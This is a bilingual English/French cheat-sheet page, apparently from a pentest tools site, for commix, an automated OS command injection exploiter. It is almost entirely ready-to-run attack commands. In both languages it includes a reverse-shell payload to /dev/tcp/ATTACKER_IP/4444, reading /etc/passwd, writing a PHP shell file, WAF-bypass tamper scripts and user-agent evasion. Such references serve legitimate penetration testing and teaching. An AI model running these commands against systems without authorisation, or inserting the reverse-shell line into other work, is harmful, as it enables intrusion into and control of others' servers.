← retour aux outils back to tools

# commix

Exploiteur automatisé d'injection de commandes OS. Détecte et exploite les vulnérabilités d'injection de commandes dans les applications web avec 30+ techniques d'injection. Automated OS command injection exploiter. Detects and exploits command injection vulnerabilities in web applications with 30+ injection techniques.

↗ https://commixproject.com

## Overview

commix (Command Injection Exploiter) automates the detection and exploitation of OS command injection vulnerabilities. It tests GET/POST parameters, cookies, and headers for blind/classic/time-based injection, and provides shell access upon success.

## Basic Usage

Test a GET parameter

    python3 commix.py -u "https://target.com/ping?host=127.0.0.1"

Test POST data

    python3 commix.py -u "https://target.com/ping" --data="host=127.0.0.1"

Test specific parameter

    python3 commix.py -u "https://target.com/ping?host=127.0.0.1&debug=0" -p host

Test headers

    python3 commix.py -u "https://target.com/api" -H "X-Forwarded-For: 127.0.0.1"

Load request from Burp file

    python3 commix.py -r request.txt

## Authentication

Cookie authentication

    python3 commix.py -u "https://target.com/ping?host=127.0.0.1" --cookie "session=abc123"

HTTP basic auth

    python3 commix.py -u "https://target.com/ping?host=127.0.0.1" --auth-cred "admin:password" --auth-type basic

Custom headers

    python3 commix.py -u "https://target.com/ping?host=127.0.0.1" -H "Authorization: Bearer TOKEN"

## Injection Techniques

    python3 commix.py -u "https://target.com/ping?host=127.0.0.1" --tech=c   # Classic

    python3 commix.py -u "https://target.com/ping?host=127.0.0.1" --tech=t   # Time-based

    python3 commix.py -u "https://target.com/ping?host=127.0.0.1" --tech=f   # File-based

    python3 commix.py -u "https://target.com/ping?host=127.0.0.1" --tech=e   # Tempfile-based

Test all techniques (default)

    python3 commix.py -u "https://target.com/ping?host=127.0.0.1"

## Post-Exploitation

Get an interactive shell (after injection found)

    python3 commix.py -u "https://target.com/ping?host=127.0.0.1" --os-shell

Execute specific command

    python3 commix.py -u "https://target.com/ping?host=127.0.0.1" --os-cmd "whoami"

Reverse shell

    python3 commix.py -u "https://target.com/ping?host=127.0.0.1" \
      --os-cmd "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

    # File operations
    python3 commix.py -u "https://target.com/ping?host=127.0.0.1" --file-read /etc/passwd
    python3 commix.py -u "https://target.com/ping?host=127.0.0.1" --file-write /tmp/shell.php

## WAF Bypass

Enable tamper scripts

    python3 commix.py -u "https://target.com/ping?host=127.0.0.1" --tamper=space2ifs

Available tampers

    python3 commix.py --list-tampers

Multiple tampers

    python3 commix.py -u "target?param=val" --tamper=space2ifs,slash2env

## Proxy & Network

Through Burp proxy

    python3 commix.py -u "https://target.com/ping?host=127.0.0.1" --proxy http://127.0.0.1:8080

Random user-agent

    python3 commix.py -u "https://target.com/ping?host=127.0.0.1" --random-agent

Delay between requests

    python3 commix.py -u "https://target.com/ping?host=127.0.0.1" --delay=2

## Tips

- Start with `--os-cmd=id` to confirm RCE before attempting a shell
- Time-based injection is slower but works when output is not reflected
- `-p` is critical when there are multiple parameters — target only the injectable one
- Combine with Burp: save a request to file (`-r request.txt`) to avoid complex CLI quoting

Help / Man page

    commix.py [options]

    Target:
      -u URL          Target URL
      --data DATA     POST data
      -r FILE         Load request file
      -p PARAM        Target parameter
      --cookie        Cookie string
      -H HEADER       Extra headers

    Techniques:
      --tech=c/t/f/e  Injection technique (classic/time/file/tempfile)

    Exploitation:
      --os-shell      Interactive shell
      --os-cmd CMD    Execute command
      --file-read     Read file
      --file-write    Write file

    Evasion:
      --tamper TAMPER Tamper script(s)
      --level 1-3     Test level
      --random-agent  Random User-Agent

    Network:
      --proxy URL     HTTP proxy
      --delay N       Delay between requests
      --timeout N     Request timeout
      --retries N     Retries

## Vue d’ensemble

commix (Command Injection Exploiter) automatise la détection et l’exploitation des vulnérabilités d’injection de commandes OS. Il teste les paramètres GET/POST, les cookies et les en-têtes pour de l’injection aveugle/classique/temporelle, et fournit un accès shell en cas de succès.

## Utilisation de base

    # Tester un paramètre GET
    python3 commix.py -u "https://target.com/ping?host=127.0.0.1"

    # Tester des données POST
    python3 commix.py -u "https://target.com/ping" --data="host=127.0.0.1"

    # Tester un paramètre précis
    python3 commix.py -u "https://target.com/ping?host=127.0.0.1&debug=0" -p host

    # Tester les en-têtes
    python3 commix.py -u "https://target.com/api" -H "X-Forwarded-For: 127.0.0.1"

    # Charger une requête depuis un fichier Burp
    python3 commix.py -r request.txt

## Authentification

    # Authentification par cookie
    python3 commix.py -u "https://target.com/ping?host=127.0.0.1" --cookie "session=abc123"

    # HTTP basic auth
    python3 commix.py -u "https://target.com/ping?host=127.0.0.1" --auth-cred "admin:password" --auth-type basic

    # En-têtes personnalisés
    python3 commix.py -u "https://target.com/ping?host=127.0.0.1" -H "Authorization: Bearer TOKEN"

## Techniques d’injection

    python3 commix.py -u "https://target.com/ping?host=127.0.0.1" --tech=c   # Classique
    python3 commix.py -u "https://target.com/ping?host=127.0.0.1" --tech=t   # Temporelle
    python3 commix.py -u "https://target.com/ping?host=127.0.0.1" --tech=f   # Basée sur fichier
    python3 commix.py -u "https://target.com/ping?host=127.0.0.1" --tech=e   # Basée sur fichier temporaire

    # Tester toutes les techniques (par défaut)
    python3 commix.py -u "https://target.com/ping?host=127.0.0.1"

## Post-exploitation

    # Obtenir un shell interactif (après avoir trouvé l'injection)
    python3 commix.py -u "https://target.com/ping?host=127.0.0.1" --os-shell

    # Exécuter une commande précise
    python3 commix.py -u "https://target.com/ping?host=127.0.0.1" --os-cmd "whoami"

    # Reverse shell
    python3 commix.py -u "https://target.com/ping?host=127.0.0.1" \
      --os-cmd "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

    # Opérations sur les fichiers
    python3 commix.py -u "https://target.com/ping?host=127.0.0.1" --file-read /etc/passwd
    python3 commix.py -u "https://target.com/ping?host=127.0.0.1" --file-write /tmp/shell.php

## Contournement de WAF

    # Activer les scripts tamper
    python3 commix.py -u "https://target.com/ping?host=127.0.0.1" --tamper=space2ifs

    # Tampers disponibles
    python3 commix.py --list-tampers

    # Plusieurs tampers
    python3 commix.py -u "target?param=val" --tamper=space2ifs,slash2env

## Proxy et réseau

    # À travers le proxy Burp
    python3 commix.py -u "https://target.com/ping?host=127.0.0.1" --proxy http://127.0.0.1:8080

    # User-agent aléatoire
    python3 commix.py -u "https://target.com/ping?host=127.0.0.1" --random-agent

    # Délai entre les requêtes
    python3 commix.py -u "https://target.com/ping?host=127.0.0.1" --delay=2

## Conseils

- Commencez par `--os-cmd=id` pour confirmer le RCE avant de tenter un shell
- L’injection temporelle est plus lente mais fonctionne quand la sortie n’est pas reflétée
- `-p` est crucial quand il y a plusieurs paramètres : ne visez que celui qui est injectable
- Combinez avec Burp : sauvegardez une requête dans un fichier (`-r request.txt`) pour éviter les échappements CLI complexes

Aide / Page de manuel

    commix.py [options]

    Target:
      -u URL          Target URL
      --data DATA     POST data
      -r FILE         Load request file
      -p PARAM        Target parameter
      --cookie        Cookie string
      -H HEADER       Extra headers

    Techniques:
      --tech=c/t/f/e  Injection technique (classic/time/file/tempfile)

    Exploitation:
      --os-shell      Interactive shell
      --os-cmd CMD    Execute command
      --file-read     Read file
      --file-write    Write file

    Evasion:
      --tamper TAMPER Tamper script(s)
      --level 1-3     Test level
      --random-agent  Random User-Agent

    Network:
      --proxy URL     HTTP proxy
      --delay N       Delay between requests
      --timeout N     Request timeout
      --retries N     Retries